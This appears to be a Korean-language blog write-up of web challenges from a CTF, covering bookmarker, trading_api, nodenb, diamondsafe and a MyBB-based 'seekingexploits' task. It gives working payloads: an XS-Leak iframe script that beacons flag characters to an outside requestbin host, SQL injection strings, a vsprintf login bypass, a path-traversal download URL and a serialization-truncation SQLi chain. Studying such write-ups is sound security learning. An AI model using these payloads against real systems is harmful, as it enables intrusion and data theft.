bookmarker
payload
<html>
<head>
<title>exp</title>
</head>
<body>
<div id="atk">
</div>
<script>
// const TARGET = "http://localhost:8080"
const TARGET = "https://bookmarker.flu.xxx"
const alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ "
var flag = "flag{i_can_see_n0_d1"
function check(){
for(let i =0;i<alphabet.length;i++){
let el = document.createElement("iframe")
el.dataset.checking = flag+alphabet[i]
el.src = `${TARGET}/?filter=${encodeURIComponent(el.dataset.checking)}`
el.csp = "default-src 'none'; style-src *; font-src *; img-src 'self';"
el.onload = (f)=>{
if(f.target.dataset.gg){
atk.innerHTML = ""
flag = el.dataset.checking
navigator.sendBeacon("https://requestbin/result",el.dataset.checking)
console.log(flag)
setTimeout(check,500)
return
}
f.target.dataset.gg = "1337";
f.target.src = f.target.src
}
atk.appendChild(el)
}
}
check();
</script>
</body>
</html>
trading_api
payload
payload : ||(select%20flag%20from%20flag)||
nodenb
race condition
create note with random=1
and immediately post /deleteme
then access /notes/flag
diamondsafe
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
error('%s not included in query!');
return;
}
// get args
$args = func_get_args();
array_shift( $args );
$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}
$count_format = substr_count($query, '%s');
if($count_format !== count($args)){
error('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value);
}
// prepare
$query = str_replace("%s", "'%s'", $query);
$query = vsprintf($query, $args);
return $query;
}
prepare function에 취약점이 있다. vsprintf를 쓰기 때문에 addslashes를 우회할 수 있다.
name=default&password=%251%24%27%29+or+1%3D1--+-+
위와 같이 보내면 로그인할 수 있다.
function check_url(){
// fixed bypasses with arrays in get parameters
$query = explode('&', $_SERVER['QUERY_STRING']);
$params = array();
foreach( $query as $param ){
// prevent notice on explode() if $param has no '='
if (strpos($param, '=') === false){
$param += '=';
}
list($name, $value) = explode('=', $param, 2);
$params[urldecode($name)] = urldecode($value);
}
if(!isset($params['file_name']) or !isset($params['h'])){
return False;
}
$secret = getenv('SECURE_URL_SECRET');
$hash = md5("{$secret}|{$params['file_name']}|{$secret}");
if($hash === $params['h']){
return True;
}
return False;
}
임의의 파일을 다운로드하려면 check_url
을 통과해야하는데 hash와 비교하는 것은 $_SERVER['QUERY_STRING']
을 통해서 뽑은 file_name
을 사용하지만 file을 다운로드 받을 땐 $_GET['file_name']
을 이용하기 때문에 php에서 parameter이름에 있는 .,]를 _로 인식하는 것을 이용하면 우회할 수 있다.
https://diamond-safe.flu.xxx/download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt&file.name=../../../../../../../flag.txt
위와 같이 접근하면 flag를 다운로드할 수 있다.
FLAG : flag{lul_php_challenge_1n_2021_lul}
seekingexploits
mybb를 사용한 문제다. 2일 전에 업데이트 된 최신버전이기 때문에 0day를 찾아야한다는 것을 알 수 있었다.
emarket.php에서 sql injection이 터진다.
function list_proposals() {
global $db;
// this variable contains the PM
global $message;
global $mybb;
global $pm;
$query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
$proposals = array();
while($proposal = $db->fetch_array($query)) {
$proposal['additional_info'] = my_unserialize($proposal['additional_info']);
// resolve the buyer's ID to a username
if (array_key_exists("sold_to", $proposal["additional_info"])) {
$user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']);
$buyer = $db->fetch_array($user_query);
$proposal["buyer"] = $buyer["username"];
}
array_push($proposals, $proposal);
}
if (count($proposals) > 0) {
$message .= "<b>Their exploit proposals:</b><br />";
}
foreach($proposals as $proposal) {
$message .= "<hr />";
foreach($proposal as $field => $value) {
if (is_array($value)) {
continue;
}
$message .= "<b>" . htmlspecialchars($field) . ": </b>";
$message .= "<i>" . htmlspecialchars($value) . " </i>";
}
}
}
simple_select함수를 사용하는데 이 함수는 sql injection에 취약하다. $proposal["additional_info"]['sold_to']
를 이용하면 sql injection을 할 수 있는데 이 부분은 emarket_api.php에서 설정해준다.
$action = $mybb->get_input("action");
if ($action === "make_proposal") {
// validate additional info
$proposal = array(
"uid" => (int)$mybb->user['uid'],
"software" => $db->escape_string($mybb->get_input("software")),
"latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
"description" => $db->escape_string($mybb->get_input("description")),
"additional_info" => $db->escape_string(
my_serialize(
validate_additional_info(
$mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
)
)
)
);
$res = $db->insert_query("exploit_proposals", $proposal);
echo "OK!";
}
db에 data를 insert할 때 get, post 등으로 전달받은 additional_info를 validate_additional_info함수를 통해 검증하고 mybb custom serialize함수로 직렬화한 다음 db에 넣어주는 것을 볼 수 있다.
function validate_additional_info($additional_info) {
$validated = array();
foreach($additional_info as $key => $value) {
switch ($key) {
case "reliability": {
$value = (int)$value;
if ($value >= 0 && $value <= 100) {
$validated["reliability"] = $value;
}
break;
}
case "impact": {
$valid_impacts = array("rce", "priv_esc", "information_disclosure");
if (in_array($value, $valid_impacts, true)) {
$validated["impact"] = $value;
}
break;
}
case "current_bidding":
case "sold_to": {
$validated[$key] = (int)$value;
break;
}
default: {
$validated[$key] = $value;
}
}
}
return $validated;
}
validate_additional_info함수에는 별다른 취약점이 없다. 그래서 my_serialize함수와 escape_string함수를 분석했다.
my_serailize함수는 내부에서 _safe_serialize
함수를 호출하는데 코드는 아래와 같다.
function _safe_serialize( $value )
{
if(is_null($value))
{
return 'N;';
}
if(is_bool($value))
{
return 'b:'.(int)$value.';';
}
if(is_int($value))
{
return 'i:'.$value.';';
}
if(is_float($value))
{
return 'd:'.str_replace(',', '.', $value).';';
}
if(is_string($value))
{
return 's:'.strlen($value).':"'.$value.'";';
}
if(is_array($value))
{
$out = '';
foreach($value as $k => $v)
{
$out .= _safe_serialize($k) . _safe_serialize($v);
}
return 'a:'.count($value).':{'.$out.'}';
}
// safe_serialize cannot my_serialize resources or objects
return false;
}
코드를 보다보면 string data를 직렬화할 때 별다른 sanitize동작이 없기 때문에 quote를 탈출해서 임의의 값을 삽입할 수 있다.
하지만 unserialize할 때 사용하는 _safe_unserialize
함수를 보면 단순히 이 버그로는 공격할 수 없다는 것을 알 수 있다.
else if($type == 's' && preg_match('/^s:([0-9]+):"(.*)/s', $str, $matches) && substr($matches[2], (int)$matches[1], 2) == '";')
{
$value = substr($matches[2], 0, (int)$matches[1]);
$str = substr($matches[2], (int)$matches[1] + 2);
}
_safe_unserialize
함수의 일부분인데 직렬화 data의 length부분을 가져온 뒤 해당 값을 가지고 parsing을 진행한다. 따라서 아무리 data를 추가해도 역직렬화 후 임의의 데이터가 추가되도록 할 수 없다.
이를 위한 두번째 취약점은 mybb escape_string함수에서 발생한다.
function escape_string($string)
{
if($this->db_encoding == 'utf8')
{
$string = validate_utf8_string($string, false);
}
elseif($this->db_encoding == 'utf8mb4')
{
$string = validate_utf8_string($string);
}
if(function_exists("mysqli_real_escape_string") && $this->read_link)
{
$string = mysqli_real_escape_string($this->read_link, $string);
}
else
{
$string = addslashes($string);
}
return $string;
}
addslashes나 mysqli_real_escape_string함수를 사용하기 전에 db_encoding이 utf8이나 utf8mb4라면 validate_utf8_string함수를 호출한다.
config[mysqli][dbuser]=root&config[mysqli][dbname]=mybb&config[mysqli][encoding]=utf8&config[mysqli][tableprefix]=mybb_
db를 세팅할 때 db encoding을 utf8로 설정했기 때문에 validate_utf8_string함수를 호출할 것이다.
function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
// Valid UTF-8 sequence?
if(!preg_match('##u', $input))
{
$string = '';
$len = strlen($input);
for($i = 0; $i < $len; $i++)
{
$c = ord($input[$i]);
if($c > 128)
{
if($c > 247 || $c <= 191)
{
if($return)
{
$string .= '?';
continue;
}
else
{
return false;
}
}
elseif($c > 239)
{
$bytes = 4;
}
elseif($c > 223)
{
$bytes = 3;
}
elseif($c > 191)
{
$bytes = 2;
}
if(($i + $bytes) > $len)
{
if($return)
{
$string .= '?';
break;
}
else
{
return false;
}
}
$valid = true;
$multibytes = $input[$i];
while($bytes > 1)
{
$i++;
$b = ord($input[$i]);
if($b < 128 || $b > 191)
{
if($return)
{
$valid = false;
$string .= '?';
break;
}
else
{
return false;
}
}
else
{
$multibytes .= $input[$i];
}
$bytes--;
}
if($valid)
{
$string .= $multibytes;
}
}
else
{
$string .= $input[$i];
}
}
$input = $string;
}
if($return)
{
if($allow_mb4)
{
return $input;
}
else
{
return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input);
}
}
else
{
if($allow_mb4)
{
return true;
}
else
{
return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
}
}
}
인자로 전달된 string에서 ascii범위 밖의 문자를 ?로 치환한다. 만약 serialize data에 utf8 4byte문자가 들어있다면 ?로 치환될 것이고 이때 string length는 줄어들지 않았기 때문에 serialize data의 구조를 깨트릴 수 있다. utf8문자의 개수를 적절하게 조절한 뒤 이후 데이터들을 잘 조작한다면 $proposal["additional_info"]['sold_to']
에 우리가 원하는 값을 넣을 수 있을 것이다.
이후 로컬에 환경을 구축한 뒤 값을 출력해보면서 적절한 payload를 만들었고 flag를 획득하기 위한 list_proposals함수는 private message를 전송한 뒤 확인하는 과정에서 호출하기 때문에 admin한테 private message를 보내고 채팅방에 접속하니 proposals list에서 플래그를 확인할 수 있었다.
payload
/emarket-api.php?action=make_proposal&additional_info[%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80]=aaaaaaaaaa%22;s:1:%22a%22;s:7:%22sold_to%22;s:68:%220%20union%20select%20usernotes%20from%20mybb_users%20limit%201--%20-&additional_info[a]=1&additional_info[b]=2
FLAG : flag{peehaarpeebeebee}
'ctf writeup' 카테고리의 다른 글
HK CERT CTF 2021 writeup - WEB (0) | 2021.11.14 |
---|---|
CyberGuardians CTF all writeup (0) | 2021.11.10 |
asis ctf 2021 - web writeup (0) | 2021.10.25 |
2021 Whitehat Contest Finals web writeup (0) | 2021.10.10 |
corCTF 2021 - mathme writeup (0) | 2021.08.24 |